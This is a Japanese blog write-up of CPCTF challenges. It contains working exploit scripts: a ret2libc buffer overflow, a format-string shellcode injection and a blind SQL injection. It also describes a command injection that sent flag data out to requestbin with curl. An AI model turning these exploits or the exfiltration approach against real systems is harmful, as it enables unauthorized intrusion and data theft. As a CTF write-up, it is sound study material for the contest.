はじめに
4月17日の13:30から19:30までCPCTFが開催されました。 東京工業大学デジタル創作同好会traPによるCTF+競プロで、東工大の新入生向けに開かれているっぽいです。 私は編入生なので新入生に含まれませんでしたが、ずっとオンサイトで参加していました。
結果はこんな感じです:
正直参加するまでは完全に初心者向けCTFだと思っていたので、400点と500点だけ解いて帰ろーって思っていましたが想像以上に難しかったですし、問題数が多かったです。
東工大NaruseJunは甘くなかった。
でも簡単なやつは本当に簡単なので、点数の高いものだけwriteupを書こうと思います。
今見返してると400点以上の問題全然解いてなくて悲しい。 OSINTとかいう初めて聞いたジャンルに関しては何も分からなかった。
[Pwn 500] overrun
何の変哲もないバッファオーバーフロー問題です。
libcも配布されているのでlibcのアドレスをリークしてsystem("/bin/sh")
を呼べば終わり。
from ptrlib import * elf = ELF("./overrun") libc = ELF("./libc.so.6") sock = Socket("overrun.problem.cpctf.space", 3331) #sock = Process("./overrun") #_ = input() sock.recvline() plt_puts = 0x08048580 payload = b'A' * 0x70 payload += p32(plt_puts) payload += p32(elf.symbol("_start")) payload += p32(elf.got("puts")) sock.sendline(payload) l = sock.recvline() addr_puts = u32(sock.recv(4)) libc_base = addr_puts - libc.symbol("puts") dump("libc_base = " + hex(libc_base)) addr_system = libc_base + libc.symbol("system") addr_binsh = libc_base + next(libc.find("/bin/sh")) payload = b'A' * 0x70 payload += p32(addr_system) payload += p32(addr_system) payload += p32(addr_binsh) sock.sendline(payload) sock.interactive()
[Pwn 500] dangerous_format
いっつもFSBの問題が出るたびに「自前ライブラリにFSB追加しなきゃ」って思ってます。 今回も結局pwntoolsに頼るはめになりました。
2回FSBができる問題ですが、それぞれ0x12cバイト受け取ります。 static linkなのでGOT overwriteなどができないのですが、NX disabledなのでシェルコードを実行しろと言っているようなものです。 ということで、bssセクションにシェルコードを書いて、リターンアドレスを書き換えることでそれを呼び出す方針で解きました。 シェルコード全部書こうと思ったらバッファが足りないので、2つに分けました。 1回目にシェルコード半分を書き込んでスタックのアドレスをリークし、2回目にリターンアドレスをmainのアドレスにします。 3回目にシェルコードの残りを書き込んで4回目にリターンアドレスをシェルコードのアドレスにします。
from pwn import * shellcode1 = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89" shellcode2 = "\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" elf = ELF("./format") sock = remote("dangerous_format.problem.cpctf.space", 3064) #sock = process("./format") _ = raw_input() sock.recvline() # Stage 1-1 writes = {} for i in range(0, len(shellcode1), 4): writes[elf.symbols["__bss_start"] + i] = u32(shellcode1[i:i+4]) payload = fmtstr_payload( 20, writes ) payload += "%5$p" sock.sendline(payload) l = sock.recvline() addr_stack = int(l[-11:-1], 16) + 316 print("addr retaddr = " + hex(addr_stack)) sock.recvline() # Stage 1-2 writes = {} writes[addr_stack] = elf.symbols['main'] payload = fmtstr_payload( 20, writes ) sock.sendline(payload) sock.recvline() sock.recvline() # Stage 2-1 sock.recvline() writes = {} for i in range(0, len(shellcode2), 4): writes[elf.symbols["__bss_start"] + len(shellcode1) + i] = u32(shellcode2[i:i+4]) payload = fmtstr_payload( 20, writes ) payload += "%5$p" sock.sendline(payload) l = sock.recvline() addr_stack = int(l[-11:-1], 16) + 316 print("addr retaddr = " + hex(addr_stack)) # Stage 2-2 writes = {} writes[addr_stack] = elf.symbols['__bss_start'] payload = fmtstr_payload( 20, writes ) sock.sendline(payload) sock.interactive()
この2問で1000点貰えるのおいしすぎる。
[Web 400] S4
SQLインジェクションができます。
$cnt = $db->query("SELECT COUNT(*) FROM Flag WHERE Flag = '{$_REQUEST["pass"]}'")->fetchColumn();
SELECTした結果は表示されないので、Blind SQLiをします。
import requests import string url = "http://password.problem.cpctf.space/S4/" flag = "" for i in range(64): for c in string.printable: payload = {"pass": "' or substr(Flag, {}, 1)=='{}".format(i + 1, c)} r = requests.get(url, params=payload) if b"Nice!" in r.text.encode("ascii"): flag += c break print(flag)
[Misc 400] Just Kidding
こんなコードがあります。
<img src="data:image/jpeg;base64,<?= shell_exec("timeout -sKILL 5 sh -c 'tesseract {$_FILES["file"]["tmp_name"]} - | sh | convert -font FreeSerif-Italic label:@- -quality 1 jpeg:- | base64'") ?>">
tesseractで認識した文字列をシェルコマンドとして実行し、結果をqualityが1のjpeg画像として出力します。 いろいろ試したらFreeSeriefの18pxくらいの文字をよく認識しました。
ですが、画質1%というのが予想以上に粗くて、結果は見えませんでした。 白か黒かくらいは判定できるので2進数で表そうかなーとも考えたのですが、終盤で時間がない上、画像処理の実装も必要なのでやめました。
ということで別の経路で情報を見る必要があったので、requestbinにcurlでPOSTすることにしました。
正直requestbinのURLをtesseractが認識してくれるか怪しかったですが、私のbinのURLは上手く認識されました。
cat *
を実行してフラグでないかなーと思いましたが、「mv flag.jpeg /flag.jpeg」的なスクリプトが表示されたので、/flag.jpeg
を見る必要があります。
cat /flag.jpeg | base64
を送ろうと思ったのですがサイズが大きすぎてrequestbinが拾ってくれませんでした。
この時点で残り10分とかで時間がなかったので、base64した結果をddで分割して送って、1つずつ結合してデコードすると、フラグが書いてある画像が取得できました。
ちなみにアップロードする画像はこんな感じです:
要望とか疑問とか
その他思ったこと。
- もっとPwnが欲しかった
- Forensics多すぎでは?(Forensics担当でもあるので個人的には楽だったけど)
- inputがエスパー過ぎだと思うのですが、なんでみんな解けてるの?
- Play with fairies解けてる人はguessしたのかな?
終わりに
久しぶりにオンサイトのCTFができて楽しかったです。 順位的には1位でしたが、本当に強い人は特定のジャンルだけ全完したり難しいのだけやったりしてて、私はまたもや実力不足を実感しました。 スコアボードも可視化サービスもジャッジサーバーも部内SNSも自作しててtraPって本当に凄いなー。 いつか強い人になりたいです。